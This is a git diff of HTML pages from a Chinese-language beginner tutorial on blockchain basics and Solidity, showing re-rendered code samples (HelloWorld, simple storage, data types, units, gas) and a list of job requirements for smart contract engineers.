diff --git "a/cn/00_blockchain\345\237\272\347\241\200/01_\344\273\200\344\271\210\346\230\257\345\214\272\345\235\227\351\223\276.html" "b/cn/00_blockchain\345\237\272\347\241\200/01_\344\273\200\344\271\210\346\230\257\345\214\272\345\235\227\351\223\276.html" index 1f9fb216..b7945939 100644 --- "a/cn/00_blockchain\345\237\272\347\241\200/01_\344\273\200\344\271\210\346\230\257\345\214\272\345\235\227\351\223\276.html" +++ "b/cn/00_blockchain\345\237\272\347\241\200/01_\344\273\200\344\271\210\346\230\257\345\214\272\345\235\227\351\223\276.html" @@ -36,10 +36,6 @@ - - - - @@ -3086,7 +3082,7 @@

小结

@@ -3172,14 +3168,6 @@

小结

- - - - - - - - diff --git "a/cn/00_blockchain\345\237\272\347\241\200/02_\344\273\200\344\271\210\346\230\257\346\257\224\347\211\271\345\270\201.html" "b/cn/00_blockchain\345\237\272\347\241\200/02_\344\273\200\344\271\210\346\230\257\346\257\224\347\211\271\345\270\201.html" index 7ae6df2a..d4a5358e 100644 --- "a/cn/00_blockchain\345\237\272\347\241\200/02_\344\273\200\344\271\210\346\230\257\346\257\224\347\211\271\345\270\201.html" +++ "b/cn/00_blockchain\345\237\272\347\241\200/02_\344\273\200\344\271\210\346\230\257\346\257\224\347\211\271\345\270\201.html" @@ -36,10 +36,6 @@ - - - - @@ -3045,27 +3041,27 @@

我的仓库

小结

比特币是永远的神,在币圈一般都称之为:大饼,各种牛鬼蛇神币种的涨跌基本完全看大饼的脸色,大饼每四年减产一次(即挖矿的奖励减半),大约在2140年时会全部挖完(2100w枚),届时就是另外一个世界了,你我应该看不着了。

我们的重心是以太坊开发,所以比特币部分就做个简短的介绍,比特币总量计算如下:

-
package main
+
package main
 
-import "fmt"
+import "fmt"
 
-func main() {
-    total := 0.0     //总量
-    interval := 21.0 //区块间隔,万单位
+func main() {
+    total := 0.0     //总量
+    interval := 21.0 //区块间隔,万单位
 
-    reward := 50.0 //奖励数量,最初50个
+    reward := 50.0 //奖励数量,最初50个
 
-    for reward != 0 {
-        //累加挖矿值
+    for reward != 0 {
+        //累加挖矿值
         amount := reward * interval
 
-        total += amount //总量
+        total += amount //总量
 
-        reward *= 0.5 //奖励减半
+        reward *= 0.5 //奖励减半
     }
 
-    fmt.Println("total : ", total)
-    fmt.Printf("total : %f\n", total)
+    fmt.Println("total : ", total)
+    fmt.Printf("total : %f\n", total)
 }
 

加V入群:dukeweb3,公众号:阿杜在新加坡,一起抱团拥抱web3,下期见!

@@ -3099,7 +3095,7 @@

小结

@@ -3185,14 +3181,6 @@

小结

- - - - - - - - diff --git "a/cn/00_blockchain\345\237\272\347\241\200/03_\344\273\200\344\271\210\346\230\257\344\273\245\345\244\252\345\235\212.html" "b/cn/00_blockchain\345\237\272\347\241\200/03_\344\273\200\344\271\210\346\230\257\344\273\245\345\244\252\345\235\212.html" index 0a138932..d89f511a 100644 --- "a/cn/00_blockchain\345\237\272\347\241\200/03_\344\273\200\344\271\210\346\230\257\344\273\245\345\244\252\345\235\212.html" +++ "b/cn/00_blockchain\345\237\272\347\241\200/03_\344\273\200\344\271\210\346\230\257\344\273\245\345\244\252\345\235\212.html" @@ -36,10 +36,6 @@ - - - - @@ -3038,10 +3034,10 @@

智能合约

  • 一旦被触发就会按照既定逻辑执行,无人能够作恶(这类似于智能)
  • 关于这部分内容我们会在后续注重讲解,先睹为快,我们打印个:"helloworld"

    -
    pragma solidity ^0.8.13;
    +
    pragma solidity ^0.8.13;
     
     contract HelloWorld {
    -    string public greet = "Hello World!";
    +    string public greet = "Hello World!";
     }
     

    这些程序一旦部署到区块链网络上,我们就可以读取到链上数据:Hello World,而这句问候,将会永远的存在于区块链上。

    @@ -3088,7 +3084,7 @@

    小结

    @@ -3174,14 +3170,6 @@

    小结

    - - - - - - - - diff --git "a/cn/00_blockchain\345\237\272\347\241\200/04_App\344\270\216Dapp.html" "b/cn/00_blockchain\345\237\272\347\241\200/04_App\344\270\216Dapp.html" index 5b218025..e68dee9f 100644 --- "a/cn/00_blockchain\345\237\272\347\241\200/04_App\344\270\216Dapp.html" +++ "b/cn/00_blockchain\345\237\272\347\241\200/04_App\344\270\216Dapp.html" @@ -36,10 +36,6 @@ - - - - @@ -3077,7 +3073,7 @@

    小结

    @@ -3163,14 +3159,6 @@

    小结

    - - - - - - - - diff --git "a/cn/00_blockchain\345\237\272\347\241\200/05_DAPP\346\212\200\346\234\257\346\240\210.html" "b/cn/00_blockchain\345\237\272\347\241\200/05_DAPP\346\212\200\346\234\257\346\240\210.html" index 9c0d63f6..b573f1da 100644 --- "a/cn/00_blockchain\345\237\272\347\241\200/05_DAPP\346\212\200\346\234\257\346\240\210.html" +++ "b/cn/00_blockchain\345\237\272\347\241\200/05_DAPP\346\212\200\346\234\257\346\240\210.html" @@ -36,10 +36,6 @@ - - - - @@ -3123,7 +3119,7 @@

    设计原则

    @@ -3209,14 +3205,6 @@

    设计原则

    - - - - - - - - diff --git "a/cn/00_blockchain\345\237\272\347\241\200/06_web3\344\274\230\350\264\250\345\255\246\344\271\240\350\265\204\346\272\220.html" "b/cn/00_blockchain\345\237\272\347\241\200/06_web3\344\274\230\350\264\250\345\255\246\344\271\240\350\265\204\346\272\220.html" index b53e4773..82c8d0e4 100644 --- "a/cn/00_blockchain\345\237\272\347\241\200/06_web3\344\274\230\350\264\250\345\255\246\344\271\240\350\265\204\346\272\220.html" +++ "b/cn/00_blockchain\345\237\272\347\241\200/06_web3\344\274\230\350\264\250\345\255\246\344\271\240\350\265\204\346\272\220.html" @@ -36,10 +36,6 @@ - - - - @@ -3088,7 +3084,7 @@

    日常资讯

    @@ -3174,14 +3170,6 @@

    日常资讯

    - - - - - - - - diff --git "a/cn/00_blockchain\345\237\272\347\241\200/07_\351\222\261\345\214\205\344\270\216\345\234\260\345\235\200.html" "b/cn/00_blockchain\345\237\272\347\241\200/07_\351\222\261\345\214\205\344\270\216\345\234\260\345\235\200.html" index 11028199..f345f1ac 100644 --- "a/cn/00_blockchain\345\237\272\347\241\200/07_\351\222\261\345\214\205\344\270\216\345\234\260\345\235\200.html" +++ "b/cn/00_blockchain\345\237\272\347\241\200/07_\351\222\261\345\214\205\344\270\216\345\234\260\345\235\200.html" @@ -36,10 +36,6 @@ - - - - @@ -3208,7 +3204,7 @@

    小结

    @@ -3294,14 +3290,6 @@

    小结

    - - - - - - - - diff --git "a/cn/00_blockchain\345\237\272\347\241\200/08_Remix\346\225\231\347\250\213.html" "b/cn/00_blockchain\345\237\272\347\241\200/08_Remix\346\225\231\347\250\213.html" index 7aef67bf..4b89090f 100644 --- "a/cn/00_blockchain\345\237\272\347\241\200/08_Remix\346\225\231\347\250\213.html" +++ "b/cn/00_blockchain\345\237\272\347\241\200/08_Remix\346\225\231\347\250\213.html" @@ -36,10 +36,6 @@ - - - - @@ -3040,12 +3036,12 @@

    常用功能

    Helloworld

    编写第一极简智能合约,在区块链上存储并且打印:Helloworld,代码如下:

    -
    // SPDX-License-Identifier: MIT
    -// compiler version must be greater than or equal to 0.8.13 and less than 0.9.0
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +// compiler version must be greater than or equal to 0.8.13 and less than 0.9.0
    +pragma solidity ^0.8.13;
     
     contract HelloWorld {
    -    string public greet = "Hello World!";
    +    string public greet = "Hello World!";
     }
     
      @@ -3066,8 +3062,8 @@

      部署

      启动后台

      npm install -g @remix-project/remixd
       
      -remixd -s 
      -
      +remixd -s <contract_folder> +

    Vscode插件

    • Ethereum Remix
    • @@ -3122,7 +3118,7 @@

      小结

      @@ -3208,14 +3204,6 @@

      小结

      - - - - - - - - diff --git "a/cn/00_blockchain\345\237\272\347\241\200/09_\345\214\272\345\235\227\351\223\276\345\260\261\344\270\232.html" "b/cn/00_blockchain\345\237\272\347\241\200/09_\345\214\272\345\235\227\351\223\276\345\260\261\344\270\232.html" index ed142cab..b5edb0dd 100644 --- "a/cn/00_blockchain\345\237\272\347\241\200/09_\345\214\272\345\235\227\351\223\276\345\260\261\344\270\232.html" +++ "b/cn/00_blockchain\345\237\272\347\241\200/09_\345\214\272\345\235\227\351\223\276\345\260\261\344\270\232.html" @@ -36,10 +36,6 @@ - - - - @@ -3055,7 +3051,7 @@

      第9节:区块链就业

      @@ -3141,14 +3137,6 @@

      第9节:区块链就业

      - - - - - - - - diff --git "a/cn/00_blockchain\345\237\272\347\241\200/10_solidity\345\262\227\344\275\215\350\246\201\346\261\202.html" "b/cn/00_blockchain\345\237\272\347\241\200/10_solidity\345\262\227\344\275\215\350\246\201\346\261\202.html" index c903b659..5492984e 100644 --- "a/cn/00_blockchain\345\237\272\347\241\200/10_solidity\345\262\227\344\275\215\350\246\201\346\261\202.html" +++ "b/cn/00_blockchain\345\237\272\347\241\200/10_solidity\345\262\227\344\275\215\350\246\201\346\261\202.html" @@ -36,10 +36,6 @@ - - - - @@ -3042,57 +3038,57 @@

      初级

    中高级:

    如何成为一名合格的智能合约高级工程师:
    -1、熟悉 Solidity 语言,能使用 hardhat 完成智能合约的自动化测试、优化、部署、交互和 SDK 封装。
    -2、熟悉 Openzipplin 的所有库文件,能够完成可升级合约的部署和升级。
    -3、熟悉市面上主流的智能合约项目的实现:dex、lend、skating、oracle、bridge(每种至少两个)
    -4、熟悉内联汇编,清楚智能合约执行过程的 GAS 消耗,能对智能合约做最大程度的 GAS 优化。
    -5、熟悉主流的 EIP 标准,跟进 EIP 提案的进度,能撰写新提案的分析。
    -6、熟悉 Solidity 各个版本之间的区别,能跟进 Solidity 版本更新。
    -7、熟悉 Solidity 编译成字节码的步骤,能使用字节码反推出智能合约的执行步骤。
    -8、熟悉智能合约在 EVM 上执行的原理,能对区块链做 EVM 兼容。
    -9、熟悉其他主流的智能合约语言和机制(比如 rust 和 move)。
    +1、熟悉 Solidity 语言,能使用 hardhat 完成智能合约的自动化测试、优化、部署、交互和 SDK 封装。
    +2、熟悉 Openzipplin 的所有库文件,能够完成可升级合约的部署和升级。
    +3、熟悉市面上主流的智能合约项目的实现:dex、lend、skating、oracle、bridge(每种至少两个)
    +4、熟悉内联汇编,清楚智能合约执行过程的 GAS 消耗,能对智能合约做最大程度的 GAS 优化。
    +5、熟悉主流的 EIP 标准,跟进 EIP 提案的进度,能撰写新提案的分析。
    +6、熟悉 Solidity 各个版本之间的区别,能跟进 Solidity 版本更新。
    +7、熟悉 Solidity 编译成字节码的步骤,能使用字节码反推出智能合约的执行步骤。
    +8、熟悉智能合约在 EVM 上执行的原理,能对区块链做 EVM 兼容。
    +9、熟悉其他主流的智能合约语言和机制(比如 rust 和 move)。
     

    Expert

    What is your responsibility?
     1. Implement EVM-based smart contracts
    -2. Review EVM-based smart contracts and audit for security issues
    +2. Review EVM-based smart contracts and audit for security issues
     3. Support front-end developers to build and maintain web apps that call smart contracts
     4. Deploy and maintain existing smart contracts
     5. Manage wallets used to deploy and operate smart contracts
    -6. Proactively make suggestions for improving our products and internal processes
    +6. Proactively make suggestions for improving our products and internal processes
     
     What are the requirements?
    -1. You are an expert in smart contracts and Solidity
    +1. You are an expert in smart contracts and Solidity
     2. You have a deep understanding of the EVM and understand smart contracts down to the opcode-level
    -3. You are familiar with the source code of at least one Ethereum node implementation
    +3. You are familiar with the source code of at least one Ethereum node implementation
     4. You have a strong understanding of JavaScript fundamentals, modern tooling, and ecosystem
    -5. You are proficient in using web3.js and ethers.js libraries
    +5. You are proficient in using web3.js and ethers.js libraries
     6. You have some front-end development knowledge and have some knowledge of React
     
     What will be great to have?
     1. You are passionate about blockchain technology and a decentralized future
     2. You are contributing to the open-source community
    -3. You have considered and feel comfortable, or have experience working in a startup environment
    +3. You have considered and feel comfortable, or have experience working in a startup environment
     

    Expert

    You are:
    -● A proven Solidity dev with 2+ years of experience building prominent products in the DeFi space
    -● Deep understanding of DeFi, decentralized protocols, DAOs, cryptocurrencies and blockchain in general and EVM
    -● Experience with web3 frameworks and interfacing with Ethereum nodes and services (Geth, Hardhat, Alchemy, Infura, Tenderly, etc.)
    -● Experience in deploying complex systems to Ethereum
    +● A proven Solidity dev with 2+ years of experience building prominent products in the DeFi space
    +● Deep understanding of DeFi, decentralized protocols, DAOs, cryptocurrencies and blockchain in general and EVM
    +● Experience with web3 frameworks and interfacing with Ethereum nodes and services (Geth, Hardhat, Alchemy, Infura, Tenderly, etc.)
    +● Experience in deploying complex systems to Ethereum
     ● Fast learner and independent
     ● Ability to work and communicate efficiently remotely
     
     Nice To Have
    -● Graduate in computer science, math or engineering
    -● Experience in implementing complex math with smart contract constraints
    +● Graduate in computer science, math or engineering
    +● Experience in implementing complex math with smart contract constraints
     
     You will:
    -● Participate in the entire development lifecycle, focusing on design, coding and debugging
    -● Build reusable code and libraries for future use
    -● Optimize the application for performance and scalability
    +● Participate in the entire development lifecycle, focusing on design, coding and debugging
    +● Build reusable code and libraries for future use
    +● Optimize the application for performance and scalability
     ● Implement security and data access
    -● Provide clean API for different clients
    +● Provide clean API for different clients
     
    @@ -3121,7 +3117,7 @@

    Expert

    @@ -3207,14 +3203,6 @@

    Expert

    - - - - - - - - diff --git "a/cn/00_blockchain\345\237\272\347\241\200/11_rpc\350\212\202\347\202\271.html" "b/cn/00_blockchain\345\237\272\347\241\200/11_rpc\350\212\202\347\202\271.html" index 4b76eaf8..bf87030f 100644 --- "a/cn/00_blockchain\345\237\272\347\241\200/11_rpc\350\212\202\347\202\271.html" +++ "b/cn/00_blockchain\345\237\272\347\241\200/11_rpc\350\212\202\347\202\271.html" @@ -36,10 +36,6 @@ - - - - @@ -3057,7 +3053,7 @@

    第11节:rpc节点

    @@ -3143,14 +3139,6 @@

    第11节:rpc节点

    - - - - - - - - diff --git "a/cn/00_blockchain\345\237\272\347\241\200/12_etherscan.html" "b/cn/00_blockchain\345\237\272\347\241\200/12_etherscan.html" index c0822387..eb56ba80 100644 --- "a/cn/00_blockchain\345\237\272\347\241\200/12_etherscan.html" +++ "b/cn/00_blockchain\345\237\272\347\241\200/12_etherscan.html" @@ -36,10 +36,6 @@ - - - - @@ -3050,7 +3046,7 @@

    第14节:Etherscan使用

    @@ -3136,14 +3132,6 @@

    第14节:Etherscan使用

    - - - - - - - - diff --git "a/cn/00_blockchain\345\237\272\347\241\200/13_\345\214\272\345\235\227\351\223\276\351\273\221\350\257\235.html" "b/cn/00_blockchain\345\237\272\347\241\200/13_\345\214\272\345\235\227\351\223\276\351\273\221\350\257\235.html" index ea99453e..413b4748 100644 --- "a/cn/00_blockchain\345\237\272\347\241\200/13_\345\214\272\345\235\227\351\223\276\351\273\221\350\257\235.html" +++ "b/cn/00_blockchain\345\237\272\347\241\200/13_\345\214\272\345\235\227\351\223\276\351\273\221\350\257\235.html" @@ -36,10 +36,6 @@ - - - - @@ -3059,7 +3055,7 @@

    CA

    @@ -3145,14 +3141,6 @@

    CA

    - - - - - - - - diff --git "a/cn/00_blockchain\345\237\272\347\241\200/20_\345\246\202\344\275\225\345\217\202\344\270\216.html" "b/cn/00_blockchain\345\237\272\347\241\200/20_\345\246\202\344\275\225\345\217\202\344\270\216.html" index ce5e5cc5..6f184ee9 100644 --- "a/cn/00_blockchain\345\237\272\347\241\200/20_\345\246\202\344\275\225\345\217\202\344\270\216.html" +++ "b/cn/00_blockchain\345\237\272\347\241\200/20_\345\246\202\344\275\225\345\217\202\344\270\216.html" @@ -36,10 +36,6 @@ - - - - @@ -3138,7 +3134,7 @@

    如何参与

    @@ -3224,14 +3220,6 @@

    如何参与

    - - - - - - - - diff --git "a/cn/00_blockchain\345\237\272\347\241\200/index.html" "b/cn/00_blockchain\345\237\272\347\241\200/index.html" index 56a7db6b..72f58516 100644 --- "a/cn/00_blockchain\345\237\272\347\241\200/index.html" +++ "b/cn/00_blockchain\345\237\272\347\241\200/index.html" @@ -36,10 +36,6 @@ - - - - @@ -3093,7 +3089,7 @@

    4. 实用工具

    @@ -3179,14 +3175,6 @@

    4. 实用工具

    - - - - - - - - diff --git "a/cn/01_solidity\345\237\272\347\241\200/01_helloworld.html" "b/cn/01_solidity\345\237\272\347\241\200/01_helloworld.html" index a1580e0c..05bc418e 100644 --- "a/cn/01_solidity\345\237\272\347\241\200/01_helloworld.html" +++ "b/cn/01_solidity\345\237\272\347\241\200/01_helloworld.html" @@ -36,10 +36,6 @@ - - - - @@ -3025,12 +3021,12 @@

    第1节:Hello world

    1. pragma solidity ^0.8.13; 表明当前编译合约的版本号,向上兼容至0.9
    -
    // SPDX-License-Identifier: MIT
    -// compiler version must be greater than or equal to 0.8.13 and less than 0.9.0
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +// compiler version must be greater than or equal to 0.8.13 and less than 0.9.0
    +pragma solidity ^0.8.13;
     
     contract HelloWorld {
    -    string public greet = "Hello World!";
    +    string public greet = "Hello World!";
     }
     
    @@ -3060,7 +3056,7 @@

    第1节:Hello world

    @@ -3146,14 +3142,6 @@

    第1节:Hello world

    - - - - - - - - diff --git "a/cn/01_solidity\345\237\272\347\241\200/02_\347\254\254\344\270\200\344\270\252dapp.html" "b/cn/01_solidity\345\237\272\347\241\200/02_\347\254\254\344\270\200\344\270\252dapp.html" index 4de9f867..9f95f6a6 100644 --- "a/cn/01_solidity\345\237\272\347\241\200/02_\347\254\254\344\270\200\344\270\252dapp.html" +++ "b/cn/01_solidity\345\237\272\347\241\200/02_\347\254\254\344\270\200\344\270\252dapp.html" @@ -36,10 +36,6 @@ - - - - @@ -3022,30 +3018,30 @@

    第2节:第一个dapp

    小白入门:https://github.com/dukedaily/solidity-expert ,欢迎star转发,文末加V入群。

    职场进阶: https://dukeweb3.com

    -
    // 指定编译器版本,版本标识符
    -pragma solidity ^0.8.13;
    +
    // 指定编译器版本,版本标识符
    +pragma solidity ^0.8.13;
     
    -// 关键字 contract 跟java的class一样  智能合约是Inbox      
    +// 关键字 contract 跟java的class一样  智能合约是Inbox      
     contract Inbox{
     
    -    // 状态变量,存在链上
    +    // 状态变量,存在链上
         string public message;
     
    -    // 构造函数
    -    constructor(string memory initMessage) {
    -        // 本地变量
    +    // 构造函数
    +    constructor(string memory initMessage) {
    +        // 本地变量
             string memory tmp = initMessage;
             message = tmp;
         }
     
    -    // 写操作,需要支付手续费
    -    function setMessage(string memory _newMessage) public {
    +    // 写操作,需要支付手续费
    +    function setMessage(string memory _newMessage) public {
             message = _newMessage;
         }
     
    -    // 读操作,不需要支付手续费
    -    function getMessage() public view returns(string memory) {
    -        return message;
    +    // 读操作,不需要支付手续费
    +    function getMessage() public view returns(string memory) {
    +        return message;
         }
     }
     
    @@ -3076,7 +3072,7 @@

    第2节:第一个dapp

    @@ -3162,14 +3158,6 @@

    第2节:第一个dapp

    - - - - - - - - diff --git "a/cn/01_solidity\345\237\272\347\241\200/03_\345\237\272\347\241\200\346\225\260\346\215\256\347\261\273\345\236\213.html" "b/cn/01_solidity\345\237\272\347\241\200/03_\345\237\272\347\241\200\346\225\260\346\215\256\347\261\273\345\236\213.html" index 0aeafd6d..90ce42c8 100644 --- "a/cn/01_solidity\345\237\272\347\241\200/03_\345\237\272\347\241\200\346\225\260\346\215\256\347\261\273\345\236\213.html" +++ "b/cn/01_solidity\345\237\272\347\241\200/03_\345\237\272\347\241\200\346\225\260\346\215\256\347\261\273\345\236\213.html" @@ -36,10 +36,6 @@ - - - - @@ -3030,42 +3026,42 @@

    第3节 基础数据类型

  • 定长字节:bytes1~bytes32
  • 地址:address(20个字节,40个16进制字符,共160位),如:0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
  • -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
     contract Primitives {
    -    bool public flag = true;
    +    bool public flag = true;
     
    -    /*
    +    /*
         uint stands for unsigned integer, meaning non negative integers
         different sizes are available
             uint8   ranges from 0` to 2 ** 8 - 1
             uint16  ranges from 0 to 2 ** 16 - 1
             ...
             uint256 ranges from 0 to 2 ** 256 - 1
    -    */
    -    uint8 public u8 = 1;
    -    uint public u256 = 456;
    -    uint public u = 123; // uint is an alias for uint256
    +    */
    +    uint8 public u8 = 1;
    +    uint public u256 = 456;
    +    uint public u = 123; // uint is an alias for uint256
     
    -    /*
    +    /*
         Negative numbers are allowed for int types.
         Like uint, different ranges are available from int8 to int256
     
         int256 ranges from -2 ** 255 to 2 ** 255 - 1
         int128 ranges from -2 ** 127 to 2 ** 127 - 1
    -    */
    -    int8 public i8 = -1;
    -    int public i256 = 456;
    -    int public i = -123; // int is same as int256
    +    */
    +    int8 public i8 = -1;
    +    int public i256 = 456;
    +    int public i = -123; // int is same as int256
     
    -    // minimum and maximum of int
    +    // minimum and maximum of int
         int public minInt = type(int).min;
         int public maxInt = type(int).max;
     
    -    address public addr = 0xCA35b7d915458EF540aDe6068dFe2F44E8fa733c;
    +    address public addr = 0xCA35b7d915458EF540aDe6068dFe2F44E8fa733c;
     
    -    /*
    +    /*
         In Solidity, the data type byte represent a sequence of bytes. 
         Solidity presents two type of bytes types :
     
    @@ -3074,16 +3070,16 @@ 

    第3节 基础数据类型

    The term bytes in Solidity represents a dynamic array of bytes. It’s a shorthand for byte[] . - */ - bytes1 a = 0xb5; // [10110101] - bytes1 b = 0x56; // [01010110] - - // Default values - // Unassigned variables have a default value - bool public defaultBoo; // false - uint public defaultUint; // 0 - int public defaultInt; // 0 - address public defaultAddr; // 0x0000000000000000000000000000000000000000 + */
    + bytes1 a = 0xb5; // [10110101] + bytes1 b = 0x56; // [01010110] + + // Default values + // Unassigned variables have a default value + bool public defaultBoo; // false + uint public defaultUint; // 0 + int public defaultInt; // 0 + address public defaultAddr; // 0x0000000000000000000000000000000000000000 }
    @@ -3113,7 +3109,7 @@

    第3节 基础数据类型

    @@ -3199,14 +3195,6 @@

    第3节 基础数据类型

    - - - - - - - - diff --git "a/cn/01_solidity\345\237\272\347\241\200/04_\345\217\230\351\207\217variables.html" "b/cn/01_solidity\345\237\272\347\241\200/04_\345\217\230\351\207\217variables.html" index 189a8b61..35f465c2 100644 --- "a/cn/01_solidity\345\237\272\347\241\200/04_\345\217\230\351\207\217variables.html" +++ "b/cn/01_solidity\345\237\272\347\241\200/04_\345\217\230\351\207\217variables.html" @@ -36,10 +36,6 @@ - - - - @@ -3039,21 +3035,21 @@

    第4节:语法-变量

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
     contract Variables {
    -    // State variables are stored on the blockchain.
    -    string public msg = "Hello";
    -    uint public age = 26;
    +    // State variables are stored on the blockchain.
    +    string public msg = "Hello";
    +    uint public age = 26;
     
    -    function test() public {
    -        // Local variables are not saved to the blockchain.
    -        uint i = 456;
    +    function test() public {
    +        // Local variables are not saved to the blockchain.
    +        uint i = 456;
     
    -        // Here are some global variables
    -        uint height = block.blocks; // Current block height
    -        address sender = msg.sender; // address of the caller
    +        // Here are some global variables
    +        uint height = block.blocks; // Current block height
    +        address sender = msg.sender; // address of the caller
         }
     }
     
    @@ -3084,7 +3080,7 @@

    第4节:语法-变量

    @@ -3170,14 +3166,6 @@

    第4节:语法-变量

    - - - - - - - - diff --git "a/cn/01_solidity\345\237\272\347\241\200/05_\345\270\270\351\207\217constant.html" "b/cn/01_solidity\345\237\272\347\241\200/05_\345\270\270\351\207\217constant.html" index 2f040f4c..31660a0b 100644 --- "a/cn/01_solidity\345\237\272\347\241\200/05_\345\270\270\351\207\217constant.html" +++ "b/cn/01_solidity\345\237\272\347\241\200/05_\345\270\270\351\207\217constant.html" @@ -36,10 +36,6 @@ - - - - @@ -3027,13 +3023,13 @@

    第5节:常量

  • 常量更加节约gas,一般用大写来代表常量。
  • 高阶用法:clone合约时,如果合约内有初始值,必须使用constant,否则clone的新合约初始值为空值。
  • -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
     contract Constants {
    -    // coding convention to uppercase constant variables
    -    address public constant MY_ADDRESS = 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4;
    -    uint public constant MY_UINT = 123;
    +    // coding convention to uppercase constant variables
    +    address public constant MY_ADDRESS = 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4;
    +    uint public constant MY_UINT = 123;
     }
     
    @@ -3063,7 +3059,7 @@

    第5节:常量

    @@ -3149,14 +3145,6 @@

    第5节:常量

    - - - - - - - - diff --git "a/cn/01_solidity\345\237\272\347\241\200/06_\344\270\215\345\217\257\345\217\230\351\207\217immutable.html" "b/cn/01_solidity\345\237\272\347\241\200/06_\344\270\215\345\217\257\345\217\230\351\207\217immutable.html" index 4b3822ad..679a8b87 100644 --- "a/cn/01_solidity\345\237\272\347\241\200/06_\344\270\215\345\217\257\345\217\230\351\207\217immutable.html" +++ "b/cn/01_solidity\345\237\272\347\241\200/06_\344\270\215\345\217\257\345\217\230\351\207\217immutable.html" @@ -36,10 +36,6 @@ - - - - @@ -3026,17 +3022,17 @@

    第6节:不可变量immutable

  • 与常量类似,但是不必硬编码,可以在构造函数时传值,部署后无法改变。
  • immutable仅支持值类型(如:int,address,bytes8),不支持非值类型(如:string,bytes)
  • -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
     contract Immutable {
    -    // coding convention to uppercase constant variables
    +    // coding convention to uppercase constant variables
         address public immutable MY_ADDRESS;
         uint public immutable MY_UINT;
    -      bytes1 public immutable MY_BYTES1 = 0xff;
    -      // string public immutable greetings = "hello";  // error
    +      bytes1 public immutable MY_BYTES1 = 0xff;
    +      // string public immutable greetings = "hello";  // error
     
    -    constructor(uint _myUint) {
    +    constructor(uint _myUint) {
             MY_ADDRESS = msg.sender;
             MY_UINT = _myUint;
         }
    @@ -3069,7 +3065,7 @@ 

    第6节:不可变量immutable

    @@ -3155,14 +3151,6 @@

    第6节:不可变量immutable

    - - - - - - - - diff --git "a/cn/01_solidity\345\237\272\347\241\200/07_\350\257\273\345\206\231\347\212\266\346\200\201\345\217\230\351\207\217.html" "b/cn/01_solidity\345\237\272\347\241\200/07_\350\257\273\345\206\231\347\212\266\346\200\201\345\217\230\351\207\217.html" index 27bdb004..e8ca21d6 100644 --- "a/cn/01_solidity\345\237\272\347\241\200/07_\350\257\273\345\206\231\347\212\266\346\200\201\345\217\230\351\207\217.html" +++ "b/cn/01_solidity\345\237\272\347\241\200/07_\350\257\273\345\206\231\347\212\266\346\200\201\345\217\230\351\207\217.html" @@ -36,10 +36,6 @@ - - - - @@ -3026,21 +3022,21 @@

    第7节:读写状态变量

  • 写状态变量(上链)是一笔交易(tx),需要矿工打包,所以需要花费资金;
  • 读取状态变量,是从账本中获取数据,不是一笔交易,所以免费。(必须加上view)
  • -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
     contract SimpleStorage {
    -    // State variable to store a number
    +    // State variable to store a number
         uint public num;
     
    -    // You need to send a transaction to write to a state variable.
    -    function set(uint _num) public {
    +    // You need to send a transaction to write to a state variable.
    +    function set(uint _num) public {
             num = _num;
         }
     
    -    // You can read from a state variable without sending a transaction.
    -    function get() public view returns (uint) {
    -        return num;
    +    // You can read from a state variable without sending a transaction.
    +    function get() public view returns (uint) {
    +        return num;
         }
     }
     
    @@ -3071,7 +3067,7 @@

    第7节:读写状态变量

    @@ -3157,14 +3153,6 @@

    第7节:读写状态变量

    - - - - - - - - diff --git "a/cn/01_solidity\345\237\272\347\241\200/08_ether\345\222\214wei.html" "b/cn/01_solidity\345\237\272\347\241\200/08_ether\345\222\214wei.html" index d5440203..48188aee 100644 --- "a/cn/01_solidity\345\237\272\347\241\200/08_ether\345\222\214wei.html" +++ "b/cn/01_solidity\345\237\272\347\241\200/08_ether\345\222\214wei.html" @@ -36,10 +36,6 @@ - - - - @@ -3027,17 +3023,17 @@

    第8节:ether和wei

  • 不含任何后缀的默认单位是 wei
  • 1 gwei = 10^9 wei
  • -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
     contract EtherUnits {
    -    uint public oneWei = 1 wei;
    -    // 1 wei is equal to 1
    -    bool public isOneWei = 1 wei == 1;
    +    uint public oneWei = 1 wei;
    +    // 1 wei is equal to 1
    +    bool public isOneWei = 1 wei == 1;
     
    -    uint public oneEther = 1 ether;
    -    // 1 ether is equal to 10^18 wei
    -    bool public isOneEther = 1 ether == 1e18;
    +    uint public oneEther = 1 ether;
    +    // 1 ether is equal to 10^18 wei
    +    bool public isOneEther = 1 ether == 1e18;
     }
     
    @@ -3067,7 +3063,7 @@

    第8节:ether和wei

    @@ -3153,14 +3149,6 @@

    第8节:ether和wei

    - - - - - - - - diff --git "a/cn/01_solidity\345\237\272\347\241\200/09_gas\345\222\214gasprice.html" "b/cn/01_solidity\345\237\272\347\241\200/09_gas\345\222\214gasprice.html" index ecf1574c..85c14524 100644 --- "a/cn/01_solidity\345\237\272\347\241\200/09_gas\345\222\214gasprice.html" +++ "b/cn/01_solidity\345\237\272\347\241\200/09_gas\345\222\214gasprice.html" @@ -36,10 +36,6 @@ - - - - @@ -3040,7 +3036,7 @@

    第9节:Gas相关

    验证:

    gas_used:  197083
     gas_price: 0.000000078489891145
    -cost = gas_used * gas_price = 197083 * 0.000000078489891145 = 0.015469023216530034,#与上图一致
    +cost = gas_used * gas_price = 197083 * 0.000000078489891145 = 0.015469023216530034,#与上图一致
     
    @@ -3069,7 +3065,7 @@

    第9节:Gas相关

    @@ -3155,14 +3151,6 @@

    第9节:Gas相关

